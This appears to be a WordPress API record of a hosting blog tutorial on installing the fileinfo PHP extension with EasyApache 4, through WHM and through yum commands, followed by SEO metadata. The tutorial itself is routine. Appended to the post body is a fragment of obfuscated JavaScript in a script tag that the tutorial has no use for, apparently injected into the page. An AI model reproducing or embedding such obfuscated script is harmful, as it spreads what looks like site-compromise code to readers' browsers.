{"id":568,"date":"2021-09-16T09:11:31","date_gmt":"2021-09-16T09:11:31","guid":{"rendered":"https:\/\/hoganhost.com.ng\/blog\/?p=568"},"modified":"2024-08-12T13:34:43","modified_gmt":"2024-08-12T12:34:43","slug":"how-to-install-a-php-extension-using-easyapache-4","status":"publish","type":"post","link":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/","title":{"rendered":"How to Install a PHP Extension Using EasyApache 4"},"content":{"rendered":"<h3>How to Install a PHP Extension in cpanel\/whm<\/h3>\n<p>EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are currently using EasyApache 3 (EA3), you should\u00a0upgrade to EasyApache 4. In this guide, you will learn the steps to\u00a0<strong>install the fileinfo PHP extension using EasyApache 4<\/strong>\u00a0from your Web Host Manager (WHM) and Command Line Interface (CLI).<\/p>\n<div class=\"alert alert-danger\" role=\"alert\"><b>NOTE:\u00a0<\/b>A\u00a0<a title=\"Click here to navigate to our website to learn more about the available VPS packages\" href=\"https:\/\/hoganhost.com.ng\/home\/Vps\" target=\"_blank\" rel=\"noopener noreferrer\">VPS<\/a>\u00a0or\u00a0<a title=\"Click here to navigate to our website to learn more about the available Dedicated Server packages\" href=\"https:\/\/hoganhost.com.ng\/home\/Vps\" target=\"_blank\" rel=\"noopener noreferrer\">Dedicated Server<\/a>\u00a0with\u00a0root access\u00a0is required to follow the steps in this guide.<\/div>\n<h2>Install from WHM<\/h2>\n<p>EasyApache 4 is designed as a user-interface for the yum program to integrate into WHM. However, it is important to note that you need to install the PHP extension\u00a0<u>separately for each PHP version<\/u>. The instructions below provide the steps to follow to install the PHP extension fileinfo (for PHP versions 5.5, 5.6, 7.0, and 7.1) using WHM.<\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li>Log into WHM as root.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-medium wp-image-570\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login-275x300.png\" alt=\"\" width=\"275\" height=\"300\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login-275x300.png 275w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png 303w\" sizes=\"(max-width: 275px) 100vw, 275px\" \/><\/li>\n<li>Type \u2018<strong>easy<\/strong>\u2018 into the search field in the top left of WHM.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img decoding=\"async\" class=\"alignnone size-full wp-image-571\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-search-easy.png\" alt=\"\" width=\"240\" height=\"289\" \/><\/li>\n<li>Under the\u00a0<em>Software<\/em>\u00a0category, click on\u00a0<strong>EasyApache 4<\/strong>.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img decoding=\"async\" class=\"alignnone size-full wp-image-572\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-easyapache-4-menu-option.png\" alt=\"\" width=\"119\" height=\"83\" \/><\/li>\n<li>in the <em>Currently Installed Packages<\/em>\u00a0section, click on the\u00a0<strong>Customize<\/strong> button.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-573\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-currently-installed-package-customize-button-300x27.png\" alt=\"\" width=\"300\" height=\"27\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-currently-installed-package-customize-button-300x27.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-currently-installed-package-customize-button-768x69.png 768w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-currently-installed-package-customize-button.png 921w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/li>\n<li>Click on the\u00a0<strong>PHP Extensions<\/strong> option from the left.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-574\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-option-182x300.png\" alt=\"\" width=\"182\" height=\"300\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-option-182x300.png 182w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-option.png 225w\" sizes=\"(max-width: 182px) 100vw, 182px\" \/><\/li>\n<li>In the\u00a0<em>Search<\/em>\u00a0field, type to enter \u2018<strong>fileinfo<\/strong>\u2018.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-575\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-search-field-fileinfo-300x85.png\" alt=\"\" width=\"300\" height=\"85\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-search-field-fileinfo-300x85.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-search-field-fileinfo.png 453w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/li>\n<li>Click the toggle button(s) next to the PHP version(s) that you would like the PHP extension installed for. <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-576\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-toggle-selections-300x216.png\" alt=\"\" width=\"300\" height=\"216\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-toggle-selections-300x216.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-php-extensions-toggle-selections.png 706w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/li>\n<li>Click the\u00a0<strong>Review<\/strong> option from the left.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0<img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-577\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-review-php-extensions-300x67.png\" alt=\"\" width=\"300\" height=\"67\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-review-php-extensions-300x67.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-review-php-extensions-687x156.png 687w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-review-php-extensions.png 701w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/li>\n<li>Confirm the options you selected are listed under the \u201c<em>Please review the following list of packages you are about to install by provisioning this profile.<\/em>\u201d section. Then, click the\u00a0<strong>Provision<\/strong> button.\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-578\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-review-provision-button.png\" alt=\"\" width=\"94\" height=\"43\" \/><\/li>\n<li>Once the installation is completed, you will receive a message:\u00a0<em>\u201cThe provision process is complete\u201d<\/em>. Click the\u00a0<strong>Done<\/strong> button to finish. <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-579\" src=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-provision-process-complete-done-button-300x108.png\" alt=\"\" width=\"300\" height=\"108\" srcset=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-provision-process-complete-done-button-300x108.png 300w, https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_ea4-provision-process-complete-done-button.png 354w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/li>\n<\/ol>\n<p>Now that you have completed installing the\u00a0<strong>fileinfo<\/strong>\u00a0PHP extension from WHM, you can view your phpinfo.php page to confirm it is enabled.<\/p>\n<h2>Install from CLI<\/h2>\n<p>EasyApache 4 is also designed to allow installation of PHP extensions via the\u00a0<em>Command Line Interface (CLI)<\/em>\u00a0using\u00a0<em>Yellowdog Updater Modified (yum)<\/em>. Again, it is important to note that you need to install the PHP extension\u00a0<u>separately for each PHP version<\/u>.<\/p>\n<p>Also, EA4\u2019s packages for PHP modules and extensions use the\u00a0<strong>ea-php<em>##<\/em>-php-<em>module<\/em><\/strong>\u00a0naming convention. Simply replace\u00a0<em>##<\/em>\u00a0with the PHP version number (for our example: \u201955\u2019, \u201956\u2019, \u201970\u2019, and \u201971\u2019) and\u00a0<em>module<\/em>\u00a0with the name of the PHP module\/extension (\u2018fileinfo\u2019 in our example). The steps below indicate how you can install the PHP extension fileinfo from the CLI using yum.<\/p>\n<ol class=\"article_list\">\n<li>Connect to your server via an SSH connection.<\/li>\n<li>First, update cPanel by running the following command:\n<p class=\"code_block\">\/scripts\/upcp<\/p>\n<\/li>\n<li>Once \u201cupcp\u201d completes, run the following command:\n<p class=\"code_block\">yum install -y ea-php55-php-fileinfo ea-php56-php-fileinfo ea-php70-php-fileinfo ea-php71-php-fileinfo<\/p>\n<\/li>\n<\/ol>\n<div class=\"alert alert-info\" role=\"alert\"><b>NOTE:\u00a0<\/b>In our example, PHP 5.5, 5.6, 7.0, and 7.1 are already installed on the server. For this reason, our example command includes each of those PHP versions to install the PHP extension, fileinfo, for all the PHP versions that exist on the server. Simply include each PHP version you want to install the extension for in the command you use. If you do not want the extension installed for a certain PHP version, do\u00a0<u>NOT<\/u>\u00a0specify that version in your command.<\/div>\n<p>Now that you have completed installing the\u00a0<strong>fileinfo<\/strong>\u00a0PHP extension from the CLI, you can confirm it is enabled by running the following command (replacing ## with the PHP version you want to check:<\/p>\n<p class=\"code_block\">scl enable ea-php## \u2018php -i\u2019 | grep \u2018fileinfo\u2019<\/p>\n<p>For example:<\/p>\n<p class=\"cli\">root@localhost\u00a0~ $\u00a0scl enable ea-php56 \u2018php -i\u2019 | grep \u2018fileinfo\u2019<br \/>\nConfigure Command =&gt; \u2018.\/configure\u2019 \u2026\u2019\u2013enable-fileinfo=shared\u2019\u2026\u2019<br \/>\n\/opt\/cpanel\/ea-php56\/root\/etc\/php.d\/fileinfo.ini,<br \/>\nfileinfo<br \/>\nfileinfo\u00a0support =&gt; enabled<\/p>\n<p>Now that you know how to install a PHP extension using EasyApache 4, you can continue to customize your server\u2019s Apache\/PHP environment. Installing other PHP extensions and Apache modules is generally done by following the same process. Be sure to check out our\u00a0EasyApache Education Channel\u00a0for more advanced guides.<\/p>\n<p>&nbsp;<\/p>\n<p>CHECK OUT OUR WEB <a href=\"https:\/\/hoganhost.com.ng\">HOSTING<\/a><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>How to Install a PHP Extension in cpanel\/whm EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":570,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[4,5],"tags":[],"class_list":["post-568","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cpanel","category-whm"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v25.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>How to Install a PHP Extension Using EasyApache 4 - HoganHost blog<\/title>\n<meta name=\"description\" content=\"EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are currently using EasyApache 3 (EA3), you should\u00a0upgrade\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"How to Install a PHP Extension Using EasyApache 4 - HoganHost blog\" \/>\n<meta property=\"og:description\" content=\"EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are currently using EasyApache 3 (EA3), you should\u00a0upgrade\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/\" \/>\n<meta property=\"og:site_name\" content=\"HoganHost blog\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/facebook.com\/HoganHost\" \/>\n<meta property=\"article:published_time\" content=\"2021-09-16T09:11:31+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-12T12:34:43+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png\" \/>\n\t<meta property=\"og:image:width\" content=\"303\" \/>\n\t<meta property=\"og:image:height\" content=\"330\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Abigal okon\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:site\" content=\"@hoganhostng\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Abigal okon\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/\"},\"author\":{\"name\":\"Abigal okon\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\"},\"headline\":\"How to Install a PHP Extension Using EasyApache 4\",\"datePublished\":\"2021-09-16T09:11:31+00:00\",\"dateModified\":\"2024-08-12T12:34:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/\"},\"wordCount\":636,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png\",\"articleSection\":[\"Cpanel\",\"whm\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/\",\"name\":\"How to Install a PHP Extension Using EasyApache 4 - HoganHost blog\",\"isPartOf\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png\",\"datePublished\":\"2021-09-16T09:11:31+00:00\",\"dateModified\":\"2024-08-12T12:34:43+00:00\",\"description\":\"EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are currently using EasyApache 3 (EA3), you should\u00a0upgrade\",\"breadcrumb\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#primaryimage\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png\",\"width\":303,\"height\":330},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/hoganhost.com.ng\/blog\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"How to Install a PHP Extension Using EasyApache 4\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#website\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"name\":\"HoganHost blog\",\"description\":\"Keeping you connected to everything from HoganHost\",\"publisher\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#organization\",\"name\":\"HoganHost\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"contentUrl\":\"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png\",\"width\":466,\"height\":387,\"caption\":\"HoganHost\"},\"image\":{\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/facebook.com\/HoganHost\",\"https:\/\/x.com\/hoganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How to Install a PHP Extension Using EasyApache 4 - HoganHost blog","description":"EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are currently using EasyApache 3 (EA3), you should\u00a0upgrade","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/","og_locale":"en_US","og_type":"article","og_title":"How to Install a PHP Extension Using EasyApache 4 - HoganHost blog","og_description":"EasyApache 4 (EA4) makes managing PHP Extensions very simple. If you are currently using EasyApache 3 (EA3), you should\u00a0upgrade","og_url":"https:\/\/hoganhost.com.ng\/blog\/cpanel\/how-to-install-a-php-extension-using-easyapache-4\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2021-09-16T09:11:31+00:00","article_modified_time":"2024-08-12T12:34:43+00:00","og_image":[{"width":303,"height":330,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/whm-edu_easyapache-4_ea4-install-php-extension-fileinfo_whm-root-login.png","type":"image\/png"}],"author":"Abigal 